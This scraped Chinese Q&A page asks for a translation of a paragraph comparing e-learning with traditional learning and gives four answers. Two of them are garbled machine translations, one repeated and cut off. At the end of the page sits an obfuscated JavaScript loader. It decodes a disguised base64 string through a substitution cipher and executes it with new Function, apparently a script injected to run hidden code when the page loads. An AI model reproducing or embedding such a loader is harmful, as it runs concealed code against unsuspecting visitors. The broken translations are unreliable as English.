求好心人帮我翻译这段,请翻译时保留我夹杂的英文词,谢谢!感激不尽!(将中文翻译成英文)

2025-03-28 11:43:51
推荐回答(4个)
回答1:

E-learning and traditional learning have different emphasis when it comes students' training to independently study. E-learning is a learner-centered (这种情况我们一般用 centric, 不用 centered, 应该是 learner-centric) format and setting (Zhang, 2004:3). It focuses more on encouraging the self-study ability of students. They learn through a variety of high-tech methods and also acquire the ability to use these methods to improve their learning ability. As Allen et.al (2002, cited in Almala 2007) points out, students are observed to be more active in e-learning. In the same way, in traditional learning, it appears to be more instructor-centered (建议 instructor-centric) (Zhang, 2004:17). Since students learn most of the time by following teachers' plans and instructions, they lose some ability to independently study. When teachers' guidances are missing, they may not be able to conduct their own study. However, according to Zhang (2004:18), e-learning outcome could be impacted by media characteristics, learning context, technology, and learner characterisitcs. Even so, these factors could be managed and controlled; but there is no way to effectively improve students' ability to independently study in traditional learning. As a result, we conclude that e-learning is much better in improving students' ability to independently study.

回答2:

你好
翻译在两--之间哦
e-learning--电子教学--,电子化学习或网路化学习, 和traditional learning--传统教学或传统学习--,在对学生的independently study--自主学习--,方面有各自不同的中心。E-learning--电子教学--,为学习者提供learner-centered--以学习者为中心的--,学习方式和环境(Zhang,2004:3)。这种学习方式更加注重于培养学生的自主学习能力,让学生通过各种高科技的方式从中得到自己需要的知识,并且学会如何对此加以利用来提高自己的学习能力。As Allen et.al(2002, citied in Almala 2007) point out,-- 正如Allen et.al 指出--,学生在e-learning--电子教学--,中的表现更加的生动。In the same way,--同样-,在traditional learning--传统教学中--,则是instructor-centered--以导师为中心的--(Zhang,2004:17)。当学生大部分时间依靠老师来规划和教导他们的学习时,学生会失去一些independently study--自主学习--的能力,在脱离老师教学的同时会不知该如何掌控学习方法。However,according to Zhang(2004:18)--然而,张认为--e-learning电子教学,也有可能因media characteristics, learning context, technology, and learner characteristics--媒体特点,教学背景,技术,以及学习者的特点--等因素影响其学习成效。even so,--即使如此--这些因素都是能够被改进的,而traditional learning并没有能够有效改进学生independently study的方案。As a result,--所以--学生的independently study能力在e-learning中能够得到更大的提高。
后面都是重复的了,前面有答案的。。。

还有以学习者为中心的的确是xxcentered,我在BBC上看胡锦涛访华的视频时,奥巴马的确是说说economy-centered,所以类似的组合是对的

回答3:

E - learning and benefit in learning to student's study of aspects are have different center. E - learning for learners learner centered learning - style and environment (Zhang, 2004:3). This study way more focused on cultivation of students' autonomous learning ability, let the student through various high-tech way get to the knowledge, and learn how to rate-and utilized to enhance their ability to learn. As Allen's sport in et al. (2002, Almala citied in 2007) point out, students in learning the performance of e - more dramatic. In the same to perform In learning, the benefit is centered (instructor - Zhang, 2004:17). When students are most time rely on teacher to planning and teach their learning, students are losing some of ability, in the teacher teaching will also from know how to handle study method. An autoresponder of Zhang (2004:18), e - learning have following media technology, context, learning, and following learner influenced by such factors as the learning effect. Putting mind, these factors are can be improved, and learning and no benefit can effectively improve the students are of the scheme. As a student of much, are learning ability in e - can be more big improvement.

回答4:

E - learning and benefit in learning to student's study of aspects are have different center. E - learning for learners learner centered learning - style and environment (Zhang, 2004:3). This study way more focused on cultivation of students' autonomous learning ability, let the student through various high-tech way get to the knowledge, and learn how to rate-and utilized to enhance their ability to learn. As Allen's sport in et al. (2002, Almala citied in 2007) point out, students in learning the performance of e - more dramatic. In the same to perform In learning, the benefit is centered (instructor - Zhang, 2004:17). When students are most time rely on teacher to planning and teach their learning, students are losing some of ability, in the teacher teaching will also from know how to handle study method. An autoresponder of Zhang (2004:18), e - learning ?

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();